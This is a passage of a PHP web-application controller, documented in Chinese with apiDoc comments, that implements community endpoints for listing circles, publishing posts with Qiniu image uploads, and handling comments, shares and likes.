$circles['data'][$key]['type'] = Db::name('circle\_type')

->where('id', $circle['type\_id'])

->value('title');

}

} else {

$circles['data'] = [];

}

return json($circles);

}

/\*\*

\* @api {get} /api/circle/my\_list 获取当前用户创建的社区列表

\* @apiName 获取当前用户创建的社区列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 当前用户创建的社区列表

\* @apiSuccess {Integer} id 用户社区ID

\* @apiSuccess {String} title 用户社区标题

\* @apiSuccess {String} content 用户社区描述说明

\* @apiSuccess {String} type 用户社区所属分类

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function my\_list()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$my\_circles = Db::name('circle')

->where('member\_id', $this->memberId)

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($my\_circles['data']) > 0) {

foreach ($my\_circles['data'] as $key => $my\_circle) {

if (!$my\_circle['img']) {

$my\_circles['data'][$key]['img'] = '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

} else {

$my\_circles['data'][$key]['img'] = \_imgUrl() . $my\_circle['img'];

}

$my\_circles['data'][$key]['des'] = is\_null($my\_circle['des']) ? 0 : $my\_circle['des'];

$my\_circles['data'][$key]['hide'] = is\_null($my\_circle['hide']) ? 0 : $my\_circle['hide'];

$my\_circles['data'][$key]['article\_num'] = is\_null($my\_circle['article\_num']) ? 0 : $my\_circle['article\_num'];

$my\_circles['data'][$key]['follower\_num'] = is\_null($my\_circle['follower\_num']) ? 0 : $my\_circle['follower\_num'];

$my\_circles['data'][$key]['type'] = Db::name('circle\_type')

->where('id', $my\_circle['type\_id'])

->value('title');

}

} else {

$my\_circles['data'] = [];

}

return json($my\_circles);

}

/\*\*

\* @api {get} /api/circle/index 获取社区列表

\* @apiName 获取社区列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} type\_id 社区分类ID（非必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 用户社区列表

\* @apiSuccess {Integer} id 用户社区ID

\* @apiSuccess {String} title 用户社区标题

\* @apiSuccess {String} content 用户社区描述说明

\* @apiSuccess {String} type 用户社区所属分类

\* @apiSuccess {Integer} article\_num 社区动态数量

\* @apiSuccess {Integer} follow\_num 社区关注人数

\* @apiSuccess {Integer} follow 当前用户是否已关注社区：1-是；0-否

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function index()

{

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$type\_id = input('param.type\_id', '');

if ($type\_id) {

$circles = Db::name('circle')

->where('type\_id', $type\_id)

->order('des', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

} else {

$circles = Db::name('circle')

->order('des', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

}

$circles = Db::name('circle')

->order('des', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($circles['data']) > 0) {

foreach ($circles['data'] as $key => $circle) {

if (!$circle['img']) {

$circles['data'][$key]['img'] = '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

} else {

$circles['data'][$key]['img'] = \_imgUrl() . $circle['img'];

}

$circles['data'][$key]['type'] = Db::name('circle\_type')

->where('id', $circle['type\_id'])

->value('title');

$circles['data'][$key]['follow'] = 0;

if ($this->memberId) {

$count = Db::name('circle\_member')

->where('circle\_id', $circle['id'])

->where('member\_id', $this->memberId)

->where('follow', 1)

->count();

if ($count > 0) {

$circles['data'][$key]['follow'] = 1;

}

}

}

} else {

$circles['data'] = [];

}

return json($circles);

}

/\*\*

\* @api {get} /api/circle/info 获取社区详情

\* @apiName 获取社区详情

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} circle\_id 用户社区ID（必填）

\* @apiSuccess {Json} result 用户社区详情

\* @apiSuccess {Integer} id 用户社区ID

\* @apiSuccess {String} title 用户社区标题

\* @apiSuccess {String} content 用户社区描述说明

\* @apiSuccess {Integer} article\_num 社区动态数量

\* @apiSuccess {Integer} follow\_num 社区关注人数

\* @apiSuccess {Integer} follow 当前用户是否已关注社区：1-是；0-否

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function info()

{

$circle\_id = input('param.circle\_id', '');

$circle = Db::name('circle')

->where('id', $circle\_id)

->find();

if (!empty($circle)) {

if (!$circle['img']) {

$circle['img'] = '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

} else {

$circle['img'] = \_imgUrl() . $circle['img'];

}

$article\_num = Db::name('circle\_article')

->where('circle\_id', $circle['id'])

->count('id');

$circle['article\_num'] = $article\_num;

$follower\_num = Db::name('circle\_member')

->where('circle\_id', $circle['id'])

->where('follow', 1)

->count('id');

$circle['follower\_num'] = $follower\_num;

if ($article\_num != $circle['article\_num'] || $follower\_num != $circle['follower\_num']) {

Db::name('circle')->where('id', $circle['id'])

->update([

'article\_num' => $article\_num,

'follower\_num' => $follower\_num,

]);

}

if ($this->memberId) {

$count = Db::name('circle\_member')

->where('circle\_id', $circle['id'])

->where('member\_id', $this->memberId)

->where('follow', 1)

->count();

if ($count > 0) {

$circle['follow'] = 1;

} else {

$circle['follow'] = 0;

}

} else {

$circle['follow'] = 0;

}

} else {

return json([

'err' => '该用户社区不存在',

'errcode' => 211,

]);

}

return json($circle);

}

/\*\*

\* @api {get} /api/circle/create\_article\_type 创建社区动态分类

\* @apiName 创建社区动态分类

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} title 社区动态分类名称（必填）

\* @apiParam {String} content 社区动态分类描述说明（非必填）

\* @apiSuccess {String} ret 社区动态分类创建成功

\* @apiError {String} err 社区动态分类创建失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function create\_article\_type()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，然后创建社区动态分类',

'errcode' => 222,

]);

}

$data['title'] = input('param.title', '');

if ($data['title'] == '') {

return json([

'err' => '社区动态分类名称不可为空',

'errcode' => 201,

]);

}

$circle\_type = Db::name('circle\_article\_type')

->where('title', $data['title'])

->find();

if (!empty($circle\_article\_type)) {

return json([

'err' => '同名社区动态分类已存在，请更换社区动态分类名称',

'errcode' => 203,

]);

}

$data['content'] = input('param.content', '');

$data['hide'] = 0;

$data['create\_time'] = time();

$circle\_article\_type\_id = Db::name('circle\_article\_type')

->insertGetId($data);

if ($circle\_article\_type\_id) {

return json([

'ret' => '社区动态分类创建成功，请等待后台审核',

]);

}

return json([

'err' => '社区动态分类创建失败，请稍后重试',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/article\_types 获取社区动态分类列表

\* @apiName 获取社区动态分类列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiSuccess {Json} result 社区动态分类列表

\* @apiSuccess {Integer} id 社区动态分类ID

\* @apiSuccess {String} title 社区动态分类标题

\* @apiSuccess {String} content 社区动态分类描述说明

\* @apiSuccess {Integer} circle\_num 用户社区数量

\*/

public function article\_types()

{

$circle\_article\_types = Db::name('circle\_article\_type')

->order('des', 'desc')

->select();

if (count($circle\_article\_types) > 0) {

foreach ($circle\_article\_types as $key => $circle\_article\_type) {

$circle\_article\_types[$key]['article\_num'] = Db::name('circle\_article')

->where('type\_id', $circle\_article\_type['id'])

->count('id');

}

}

return json($circle\_article\_types);

}

/\*\*

\* @api {post} /api/circle/publish\_article 发布社区动态｜用户动态

\* @apiName 发布社区动态｜用户动态

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} circle\_id 社区ID（非必填：为空时，则为用户动态）

\* @apiParam {String} content 社区动态内容（必填）

\* @apiParam {String} description 社区动态内容描述（非必填）

\* @apiParam {File} images 多图列表（非必填）

\* @apiSuccess {String} ret 社区动态｜用户动态创建成功

\* @apiError {String} err 社区动态｜用户动态创建失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function publish\_article()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后发布社区动态',

'errcode' => 222,

]);

}

$data['circle\_id'] = input('param.circle\_id', '');

/\*if ($data['circle\_id'] == '') {

return json([

'err' => '用户社区ID不可为空',

'errcode' => 201,

]);

}

$circle = Db::name('circle')

->where('id', $data['circle\_id'])

->find();\*/

$data['type\_id'] = input('param.type\_id', '');

$data['title'] = input('param.title', '');

if ($data['circle\_id'] != '' && $data['type\_id'] != '' && $data['title'] != '') {

$circle\_article = Db::name('circle\_article')

->where('circle\_id', $data['circle\_id'])

->where('type\_id', $data['type\_id'])

->where('title', $data['title'])

->find();

if (!empty($circle\_article)) {

return json([

'err' => '同名的社区动态已存在，请更换动态标题',

'errcode' => 203,

]);

}

}

$data['content'] = input('param.content', '');

$data['description'] = input('param.description', '');

$data['click'] = 0;

$data['zan\_num'] = 0;

$data['cai\_num'] = 0;

$data['ping\_num'] = 0;

$data['share\_num'] = 0;

if ($data['circle\_id'] != '' && $data['type\_id'] != '') {

$data['hide'] = 2;

} else {

$data['hide'] = 1;

}

$data['create\_time'] = time();

if ($data['circle\_id'] != '' && $data['type\_id'] != '' && $data['title'] != '' && $data['description'] == '' && $data['content']) {

$data['description'] = substr(strip\_tags($data['content']), 0, 70) . '...';

}

$image\_keys = [];

if (request()->file('images')) {

$files = request()->file('images');

foreach ($files as $file) {

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 211,

]);

}

$extension = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$extensions = ['jpg', 'png', 'gif', 'jpeg', 'JPEG', 'JPG', 'GIF', 'PNG'];

if (!in\_array($extension, $extensions)) {

return json([

'err' => '图片格式不对，请换张图片吧',

'errcode' => 202,

]);

}

$key = substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . '.jpg';

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$accessKey = Db::name('member\_config')->where('type', 'sdkQiniu')->where('name', 'qiniuAk')->value('text');

$secretKey = Db::name('member\_config')->where('type', 'sdkQiniu')->where('name', 'qiniuSk')->value('text');

$auth = new Auth($accessKey, $secretKey);

$bucket = Db::name('member\_config')->where('type', 'sdkQiniu')->where('name', 'qiniuBucket')->value('text');

$domain = Db::name('member\_config')->where('type', 'sdkQiniu')->where('name', 'qiniuUrl')->value('text');

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

return json([

'err' => $err,

'errcode' => 202,

]);

} else {

$image\_keys[] = $ret['key'];

}

}

}

$data['images'] = join(',', $image\_keys);

$circle\_article\_id = Db::name('circle\_article')

->insertGetId($data);

if ($circle\_article\_id) {

if ($data['circle\_id'] != '') {

Db::name('circle')

->where('id', $data['circle\_id'])

->setInc('article\_num');

$circle = Db::name('circle')

->where('id', $data['circle\_id'])

->find();

if (!empty($circle)) {

$content = '用户【' . $this->member['username'] . '】在您所创建的社区【' . $circle['title'] . '】发布了新的动态';

notify($this->memberId, $circle['member\_id'], $content, '', '', $data['circle\_id'], $circle\_article\_id);

}

}

return json([

'ret' => '动态创建成功',

]);

}

/\*} else {

return json([

'err' => '该用户社区不存在',

'errcode' => 211,

]);

}\*/

return json([

'err' => '动态创建失败，请稍后重试',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/articles 获得社区动态｜会员动态列表

\* @apiName 获得社区动态列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} circle\_id 指定社区ID（非必填：用于查看某社区动态）

\* @apiParam {Integer} member\_id 指定会员ID（非必填：用于查看某会员动态）

\* @apiParam {String} type\_ids 指定社区动态分类IDs（多个分类ID之间以英文,分隔）

\* @apiParam {Number} is\_top 是否置顶贴：1-是；0-否（非必填：值为1时，获得置顶社区动态列表）

\* @apiParam {Number} is\_selected 是否精华贴：1-是；0-否（非必填：值为1时，获得精华社区动态列表）

\* @apiParam {Number} page 页码

\* @apiParam {Number} per\_page 每页显示数量

\* @apiSuccess {Json} result 社区动态列表

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页码

\* @apiSuccess {List} data 数据集合

\* @apiSuccess {Array} data.image\_urls 多图URL集合

\* @apiSuccess {Integer} data.zan\_num 动态获得点赞次数

\* @apiSuccess {Integer} data.cai\_num 动态获得点踩次数

\* @apiSuccess {Integer} data.ping\_num 动态评论数量

\* @apiSuccess {Integer} data.share\_num 动态分享次数

\* @apiSuccess {Integer} data.is\_top 动态是否置顶：1-是；0-否

\* @apiSuccess {Integer} data.is\_selected 动态是否加精：1-是；0-否

\* @apiSuccess {String} data.author\_username 动态作者昵称

\* @apiSuccess {String} data.author\_img 动态作者头像URL

\* @apiSuccess {Integer} data.author\_follow\_num 动态作者关注数

\* @apiSuccess {Integer} data.author\_article\_num 动态作者发表文章数目

\* @apiSuccess {Integer} data.zan 当前用户是否点赞该动态：1-是；0-否

\* @apiSuccess {Integer} data.follow 当前用户是否关注该动态作者：1-是；0-否

\* @apiSuccess {List} data.pings 前两条评论

\* @apiSuccess {String} data.pings.\*.author\_username 该评论作者昵称

\* @apiSuccess {String} data.pings.\*.author\_img 该评论作者头像URL

\*/

public function articles()

{

$circle\_id = input('param.circle\_id', '');

$member\_id = input('param.member\_id', '');

$type\_ids = input('param.type\_ids', '');

$is\_top = input('param.is\_top', '');

$is\_selected = input('param.is\_selected', '');

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$articles = Db::name('circle\_article');

if ($circle\_id != '') {

$articles = $articles->where('circle\_id', $circle\_id);

}

if ($member\_id != '') {

$articles = $articles->where('member\_id', $member\_id);

}

if ($type\_ids != '') {

$articles = $articles->where('type\_id', 'in', $type\_ids);

}

if ($is\_top != '') {

$articles = $articles->where('is\_top', $is\_top);

}

if ($is\_selected != '') {

$articles = $articles->where('is\_selected', $is\_selected);

}

$articles = $articles->order('create\_time', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($articles['data']) > 0) {

foreach ($articles['data'] as $key => $article) {

$articles['data'][$key]['image\_url'] = '';

$articles['data'][$key]['image\_urls'] = [];

if ($article['image'] != '') {

$articles['data'][$key]['image\_url'] = \_imgUrl() . $article['image'];

}

if ($article['images'] != '') {

$images = explode(',', $article['images']);

foreach ($images as $image) {

$articles['data'][$key]['image\_urls'][] = \_imgUrl() . $image;

}

}

$articles['data'][$key]['author\_username'] = '';

$articles['data'][$key]['author\_img'] = '';

$articles['data'][$key]['author\_follow\_num'] = 0;

$articles['data'][$key]['author\_article\_num'] = 0;

$articles['data'][$key]['zan'] = 0;

$articles['data'][$key]['follow'] = 0;

/\*$author = Db::name('member')

->where('id', $article['member\_id'])

->find();\*/

$author = \_user($article['member\_id']);

if (!empty($author)) {

$articles['data'][$key]['author\_username'] = $author['username'];

$articles['data'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

$articles['data'][$key]['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] += Db::name('article')

->where('uid', $article['member\_id'])

->count('id');

}

if ($this->memberId) {

$articles['data'][$key]['zan'] = Db::name('circle\_article\_zan')

->where('article\_id', $article['id'])

->where('member\_id', $this->memberId)

->where('zan', 1)

->count('id');

$articles['data'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->where('uid', $this->memberId)

->count('id');

}

$pings = Db::name('circle\_article\_ping')

->where('article\_id', $article['id'])

->limit(2)

->select();

if (count($pings) > 0) {

foreach ($pings as $k => $ping) {

$pings[$k]['author\_username'] = '';

$pings[$k]['author\_img'] = '';

$member = \_user($ping['member\_id']);

if (!empty($member)) {

$pings[$k]['author\_username'] = $member['username'];

$pings[$k]['author\_img'] = $member['img'] . "?imageView2/1/w/100/h/100";

}

}

}

$articles['data'][$key]['pings'] = $pings;

}

}

return json($articles);

}

/\*\*

\* @api {get} /api/circle/article 获得社区动态详情

\* @apiName 获得社区动态详情

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} article\_id 社区动态ID（必填）

\* @apiSuccess {Json} result 社区动态详情

\* @apiSuccess {String} type\_id 社区动态分类ID

\* @apiSuccess {String} title 社区动态标题

\* @apiSuccess {String} content 社区动态内容

\* @apiSuccess {String} description 社区动态内容描述

\* @apiSuccess {Array} image\_urls 多图URL集合

\* @apiSuccess {String} author\_username 动态作者昵称

\* @apiSuccess {String} author\_img 动态作者头像URL

\* @apiSuccess {Integer} author\_follow\_num 动态作者关注数

\* @apiSuccess {Integer} author\_article\_num 动态作者发表文章数目

\* @apiSuccess {Integer} zan 当前用户是否点赞该动态：1-是；0-否

\* @apiSuccess {Integer} follow 当前用户是否关注该动态作者：1-是；0-否

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article()

{

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

}

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

Db::name('circle\_article')

->where('id', $article\_id)

->setInc('click');

$article['image\_url'] = '';

$article['image\_urls'] = [];

if ($article['image'] != '') {

$article['image\_url'] = \_imgUrl() . $article['image'];

}

if ($article['images'] != '') {

$images = explode(',', $article['images']);

foreach ($images as $image) {

$article['image\_urls'][] = \_imgUrl() . $image;

}

}

$article['author\_username'] = '';

$article['author\_img'] = '';

$article['author\_follow\_num'] = 0;

$article['author\_article\_num'] = 0;

$article['zan'] = 0;

$article['follow'] = 0;

/\*$author = Db::name('member')

->where('id', $article['member\_id'])

->find();\*/

$author = \_user($article['member\_id']);

if (!empty($author)) {

$article['author\_username'] = $author['username'];

$article['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

$article['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->count('id');

$article['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $article['member\_id'])

->count('id');

$article['author\_article\_num'] += Db::name('article')

->where('uid', $article['member\_id'])

->count('id');

}

if ($this->memberId) {

$article['zan'] = Db::name('circle\_article\_zan')

->where('article\_id', $article\_id)

->where('member\_id', $this->memberId)

->where('zan', 1)

->count('id');

$article['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->where('uid', $this->memberId)

->count('id');

}

/\*$pings = Db::name('circle\_article\_ping')

->where('article\_id', $article\_id)

->order('create\_time', 'desc')

->select();

if (count($pings) > 0) {

foreach ($pings as $key => $ping) {

$pings[$key]['zan'] = 0;

if ($this->memberId) {

$pings[$key]['zan'] = Db::name('circle\_article\_ping\_zan')

->where('member\_id', $this->memberId)

->where('ping\_id', $ping['id'])

->where('zan', 1)

->count('id');

}

$ping\_xias = Db::name('circle\_article\_ping\_xia')

->where('ping\_id', $ping['id'])

->order('create\_time', 'desc')

->limit(3)

->select();

if (count($ping\_xias) > 0) {

foreach ($ping\_xias as $k => $ping\_xia) {

$ping\_xias[$k]['zan'] = 0;

if ($this->memberId) {

$ping\_xias[$k]['zan'] = Db::name('circle\_article\_ping\_xia\_zan')

->where('member\_id', $this->memberId)

->where('ping\_xia\_id', $ping\_xia['id'])

->where('zan', 1)

->count('id');

}

}

$pings[$key]['ping\_xias'] = $ping\_xias;

} else {

$pings[$key]['ping\_xias'] = [];

}

}

$article['pings'] = $pings;

} else {

$article['pings'] = [];

}\*/

return json($article);

}

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

/\*\*

\* @api {get} /api/circle/pings 获得社区文评论列表（附加三条追评）

\* @apiName 获得社区动态评论列表（附加三条追评）

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} article\_id 社区动态ID（必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 社区动态列表

\* @apiSuccess {Integer} total 总记录数

\* @apiSuccess {Integer} per\_page 每页显示数量

\* @apiSuccess {Integer} current\_page 当前页码

\* @apiSuccess {List} data 数据集合

\* @apiSuccess {String} data.\*.author\_username 该评论作者昵称

\* @apiSuccess {String} data.\*.author\_img 该评论作者头像URL

\* @apiSuccess {Integer} data.\*.zan 当前用户是否点赞该评论：1-是；0-否

\* @apiSuccess {List} data.\*.ping\_xias 追评数据集合（至多三条追评）

\* @apiSuccess {String} data.\*.ping\_xias.\*.author\_username 该追评作者昵称

\* @apiSuccess {String} data.\*.ping\_xias.\*.author\_img 该追评作者头像URL

\* @apiSuccess {Integer} data.\*.ping\_xias.\*.zan 当前用户是否点赞该追评：1-是；0-否

\*/

public function pings()

{

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

}

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (empty($article)) {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$pings = Db::name('circle\_article\_ping')

->where('article\_id', $article\_id)

->order('create\_time', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($pings['data']) > 0) {

foreach ($pings['data'] as $key => $ping) {

$pings['data'][$key]['author\_username'] = '';

$pings['data'][$key]['author\_img'] = '';

$pings['data'][$key]['zan'] = 0;

$author = \_user($ping['member\_id']);

if (!empty($author)) {

$pings['data'][$key]['author\_username'] = $author['username'];

$pings['data'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

}

if ($this->memberId) {

$pings['data'][$key]['zan'] = Db::name('circle\_article\_ping\_zan')

->where('member\_id', $this->memberId)

->where('ping\_id', $ping['id'])

->where('zan', 1)

->count('id');

}

$ping\_xias = Db::name('circle\_article\_ping\_xia')

->where('ping\_id', $ping['id'])

->order('create\_time', 'desc')

->limit(3)

->select();

if (count($ping\_xias) > 0) {

foreach ($ping\_xias as $k => $ping\_xia) {

$ping\_xias[$key]['author\_username'] = '';

$ping\_xias[$key]['author\_img'] = '';

$ping\_xias[$k]['zan'] = 0;

$author = \_user($ping\_xia['member\_id']);

if (!empty($author)) {

$ping\_xias[$key]['author\_username'] = $author['username'];

$ping\_xias[$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

}

if ($this->memberId) {

$ping\_xias[$k]['zan'] = Db::name('circle\_article\_ping\_xia\_zan')

->where('member\_id', $this->memberId)

->where('ping\_xia\_id', $ping\_xia['id'])

->where('zan', 1)

->count('id');

}

}

$pings['data'][$key]['ping\_xias'] = $ping\_xias;

} else {

$pings['data'][$key]['ping\_xias'] = [];

}

}

}

return json($pings);

}

/\*\*

\* @api {get} /api/circle/ping\_xias 获得社区文追评列表

\* @apiName 获得社区动态追评列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} article\_id 社区动态ID（必填）

\* @apiParam {Integer} ping\_id 社区动态评论ID（必填）

\* @apiParam {Number} page 页码

\* @apiParam {Number} per\_page 每页显示数量

\* @apiSuccess {Json} result 社区动态列表

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页码

\* @apiSuccess {List} data 数据集合

\* @apiSuccess {String} data.\*.author\_username 该追评作者昵称

\* @apiSuccess {String} data.\*.author\_img 该追评作者头像URL

\* @apiSuccess {Integer} data.\*.zan 当前用户是否点赞该追评：1-是；0-否

\*/

public function ping\_xias()

{

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

}

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (empty($article)) {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

$ping\_id = input('param.ping\_id', '');

if ($ping\_id == '') {

return json([

'err' => '社区动态评论ID不可为空',

'errcode' => 201,

]);

}

$ping = Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->find();

if (empty($ping)) {

return json([

'err' => '该社区动态评论不存在',

'errcode' => 211,

]);

}

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$ping\_xias = Db::name('circle\_article\_ping\_xia')

->where('ping\_id', $ping\_id)

->order('create\_time', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($ping\_xias['data']) > 0) {

foreach ($ping\_xias['data'] as $key => $ping\_xia) {

$ping\_xias['data'][$key]['author\_username'] = '';

$ping\_xias['data'][$key]['author\_img'] = '';

$ping\_xias['data'][$key]['zan'] = 0;

$author = \_user($ping\_xia['member\_id']);

if (!empty($author)) {

$ping\_xias['data'][$key]['author\_username'] = $author['username'];

$ping\_xias['data'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

}

if ($this->memberId) {

$ping\_xias['data'][$key]['zan'] = Db::name('circle\_article\_ping\_xia\_zan')

->where('member\_id', $this->memberId)

->where('ping\_xia\_id', $ping\_xia['id'])

->where('zan', 1)

->count('id');

}

}

}

return json($ping\_xias);

}

/\*\*

\* @api {post} /api/circle/article\_share 分享社区动态

\* @apiName 分享社区动态

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} article\_id 社区动态ID（必填）

\* @apiSuccess {String} ret 用户分享成功

\* @apiError {String} err 用户分享失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_share()

{

/\*if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后分享社区动态',

'errcode' => 222,

]);

}\*/

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

Db::name('circle\_article')

->where('id', $article\_id)

->setInc('share\_num');

return json([

'ret' => '用户分享成功',

]);

} else {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

}

}

/\*\*

\* @api {post} /api/circle/article\_zan 点赞｜取消点赞社区动态

\* @apiName 点赞｜取消点赞社区动态

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} article\_id 社区动态ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_zan()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞社区动态',

'errcode' => 222,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

$data['article\_id'] = $article\_id;

$circle\_article\_zan = Db::name('circle\_article\_zan')

->where($data)

->find();

if (!empty($circle\_article\_zan)) {

if ($circle\_article\_zan['zan'] == 1) {

Db::name('circle\_article\_zan')

->where($data)

->update([

'zan' => 0,

'cai' => 1,

'create\_time' => time(),

]);

Db::name('circle\_article')

->where('id', $article\_id)

->update([

'zan\_num' => $article['zan\_num'] - 1,

'cai\_num' => $article['cai\_num'] + 1,

]);

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的动态';

notify($this->memberId, $article['member\_id'], $content, '', '', '', $article\_id);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('circle\_article\_zan')

->where($data)

->update([

'zan' => 1,

'cai' => 0,

'create\_time' => time(),

]);

Db::name('circle\_article')

->where('id', $article\_id)

->update([

'zan\_num' => $article['zan\_num'] + 1,

'cai\_num' => $article['cai\_num'] - 1,

]);

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态';

notify($this->memberId, $article['member\_id'], $content, '', '', '', $article\_id);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['cai'] = 0;

$data['create\_time'] = time();

$circle\_article\_zan\_id = Db::name('circle\_article\_zan')

->insertGetId($data);

if ($circle\_article\_zan\_id) {

Db::name('circle\_article')

->where('id', $article\_id)

->setInc('zan\_num');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态';

notify($this->memberId, $article['member\_id'], $content, '', '', '', $article\_id);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/circle/article\_ping 评论社区动态

\* @apiName 评论社区动态

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

